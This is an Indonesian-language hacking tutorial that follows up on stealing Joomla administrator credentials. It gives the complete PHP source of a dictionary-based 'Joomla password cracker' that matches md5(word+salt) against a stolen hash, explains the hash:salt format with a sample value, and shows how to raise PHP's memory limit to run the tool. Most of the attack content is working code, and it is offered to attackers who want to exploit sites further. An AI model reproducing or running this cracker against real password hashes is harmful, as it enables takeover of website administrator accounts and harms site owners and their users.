
Apa yang akan penulis jelaskan disini, di ibaratkan seperti pisau yang memiliki
2 sisi tajam, di satu sisi seorang admin web dapat menjaga ketat sitenya dengan
aman, namun patut diketahui pula tidak ada sistem yang memiliki keamanan 100%,
selalu saja ada bolong yang masih dapat di eksploitasi, tapi setidaknya dapat
meminimalisir serangan yang ada, dan di sisi lain yang akan penulis terangkan
nanti tentunya cenderung digunakan untuk kegiatan vandalisme/merusak oleh beberapa
pihak. Ya, tidak heran jika teori tesis dan anti tesis kerapkali hadir dalam
dunia perhackingan ini. Di satu sisi membangun tapi di sisi lain menghancurkan.
Lantas yang harus di lakukan sekarang adalah, tetap waspada pada security risk
yang ada, dan ketahuilah tamu tak diundang selalu menyempatkan waktunya untuk
hadir memonitoring site anda, jika anda melakukan sedikit saja salah langkah
akibatnya cukup fatal.
Waha... sepertinya intro tutorial harus dipisahkan sendiri dalam tutorial yang
berbeda, jari penulis begitu asik menari-nari di atas tuts keyboard sampai-sampai
lupa pada pokok pembahasan. :D.
Ya, berdasarkan artikel sebelumnya, betapa mudahnya seorang attacker mendapatkan
username dan password sang administrator pada content management system seperti
joomla, tapi masih terdapat satu masalah, dimana seorang attacker masih
belum dapat melakukan eksploitasi lebih lanjut, dikarenakan password yang didapatkan
itu masih dalam bentuk password yang terenkripsi, sehingga butuh perlakuan khusus
lebih lanjut untuk mendapatkan password yang sesungguhnya. Di sinilah penulis
akan mencoba menjelaskan sebuah konsep sederhana bagaimana mendapatkan suatu
password asli yang terenkripsi, namun penulis hanya membatasi cracking password
pada satu jenis hash saja, yaitu joomla hash password. Penjelasan yang akan
penulis lakukan bukanlah mencoba membuat algoritma dekripsi password tetapi
hanyalah penggunaan metode dictionary file, dimana untuk mendapatkan password
asli cukup dilakukan pencocokan password dengan kamus data yang ada sehingga
menghasilkan password yang sebenarnya. :D. Namun setiap aplikasi selalu saja
memiliki kekurangan, penulis tidak menafikan hal itu. Karena kesempurnaan hanyalah
milik sang Pencipta. ;) Kekurangannya adalah resource memori yang di butuhkan
untuk metode seperti ini cenderung lebih besar dari ukuran biasanya.
Berikut adalah source code lengkap 'simple joomla password cracker' :
-----------------------// cut here
<HTML>
<HEAD>
<BASEFONT SIZE=3>
<TITLE>::: Joomla Password Cracker :::</TITLE>
</HEAD>
<BODY BGCOLOR=#000000 vlink=#0000FF>
<center>
<p align="center"><font face="Verdana" size="1"><BR>
</B><BR>
</font></p>
<p align="center"> </p>
<p align="center"> </p>
<TABLE BORDER=0 WIDTH=500 CELLPADDING=3 CELLSPACING=0>
<tr><td> <p align="center" style="margin-top:
0"><font color="#FFFFFF" face="Verdana" size="2"><u><font
size="4">Simple</font></u>
</font><font size="4"><u><font face="Verdana"
color="#00FF00"><strong>Joomla</strong></font>
<font color="#FFFFFF" face="Verdana">Password Cracker</font></u></font><font
size="2"><font color="#FFFFFF" face="Verdana"><br>
<font color="#00FF00">Developed by<strong> : ilmuwebsite.com
</strong></font></font></font></p>
</td>
</tr>
</table>
<!-- Demonstration -->
<BODY>
<center>
<form action=index.php method="POST"><p>
<P>
<b>
<font size="2" face="Verdana" color="#FFFFFF"><u>Masukkan
</u></font></b><u><font size="2" face="Verdana"
color="#FFFFFF">password hashnya disini :</font></u><font
size="2" face="Verdana" color="#FFFFFF"></font><font
color="#00FF00" size="1" face="Verdana"><br>
<BR>
<input type="text" name="hash" size=55 style="font-family:
Verdana; font-size: 8pt; color: #00FF00; border: 1px solid #00FF00; background-color:
#000000">
<input type="submit" name="send" value="Cari !!!"
style="font-family: Verdana; font-size: 8pt; color: #00FF00; border: 1px
solid #00FF00; background-color: #000000">
</font>
<P><br>
</form>
<?php
$hashes=array();
$i=0;
$parts=explode(":",$_POST['hash']);
$hashes[$i][0]=$parts[0];
$hashes[$i][1]=$parts[1];
if (ISSET($_POST['hash']))
{
$str = " ";
echo "<font size=2 face=Verdana color=#FFFFFF><u>Started: </u>";
echo date("F j, Y, g:i:s a");
$lines = file('kamus2.txt');
foreach ($lines as $line_num => $line)
{
check($line);
}
$lines = file('kamus1.txt');
foreach ($lines as $line_num => $line)
{
check($line);
}
echo "<br><font size=2 face=Verdana color=#FFFFFF><u>Finished
: </u>";
echo date("F j, Y, g:i:s a");
}
function check($a)
{
global $i;
$a=rtrim($a) ;
for($x=0;$x<=$i;$x++)
{
global $hashes;
if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo "<font size=2 face=Verdana color=#FFFFFF><br><br><u>The
password is : </u></font><font size=2 face=Verdana color=#00FF00><h1>$a</h1></font>";
echo "<u>Ended: </u>";
echo date("F j, Y, g:i:s a");
}
}
}
?>
<font size="2" face="Verdana" color="#FFFFFF"><u><br><br>Tolong
di kembangkan ya ?! :D </u></font>
</center>
</body></html>
-----------------------// cut here
Untuk menjalankan script ini di localhost anda perlu merubah konfigurasi php.ini,
yaitu dengan mengganti baris ini :
memory_limit = 32M ;

menjadi > 32, penulis menggantinya menjadi :
memory_limit = 256M ;
Ya, sebelum berlanjut, penulis akan membahas struktur password joomla yang terenkripsi
terlebih dahulu, enkripsi password joomla biasanya terdiri dari hash dan salt.
Standar enkripsi joomla biasanya berbentuk seperti ini :
b51498faae03f7cf533e3ed97fc00116:9VrQpQzdNQHhtieK
Hashnya itu terdapat pada bagian yang pertama yaitu b51498faae03f7cf533e3ed97fc00116,
dan saltnya itu ada di bagian akhir 9VrQpQzdNQHhtieK, keduanya terlihat di pisahkan
dengan titik dua ":". Salt bagi seorang attacker berfungsi untuk membantu
dalam pencarian password sesungguhnya.
Yang ditemukan disini adalah jika password berbentuk plain text di gabung dengan
saltnya maka akan menghasilkan hash password joomla. Dengan kata lain jika :
x + salt = hash joomla. Sehingga jika di implementasikan melalui enkripsi md5
:
md5(x + salt) = hash
maka :
md5(x + 9VrQpQzdNQHhtieK) = b51498faae03f7cf533e3ed97fc00116
berapakah x ? ( pak Mamat guru matematika di SMAN 4 Bogor kayanya tau. :D huehuehuehehe...
)
Ya seperti pada baris kalimat ini :
...
if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo "<font size=2 face=Verdana color=#FFFFFF><br><br><u>The
password is : </u></font><font size=2 face=Verdana color=#00FF00><h1>$a</h1></font>";
...
Dan hasilnya adalah ...

:D~~
Penulis yakin anda cukup familiar dengan source di atasnya. Dan algoritmanya
pun cukup mudah. Script lengkap dan kamus passwordnya dapat di
download di sini ...
Selamat mencoba. Selamat mengembangkan ! :D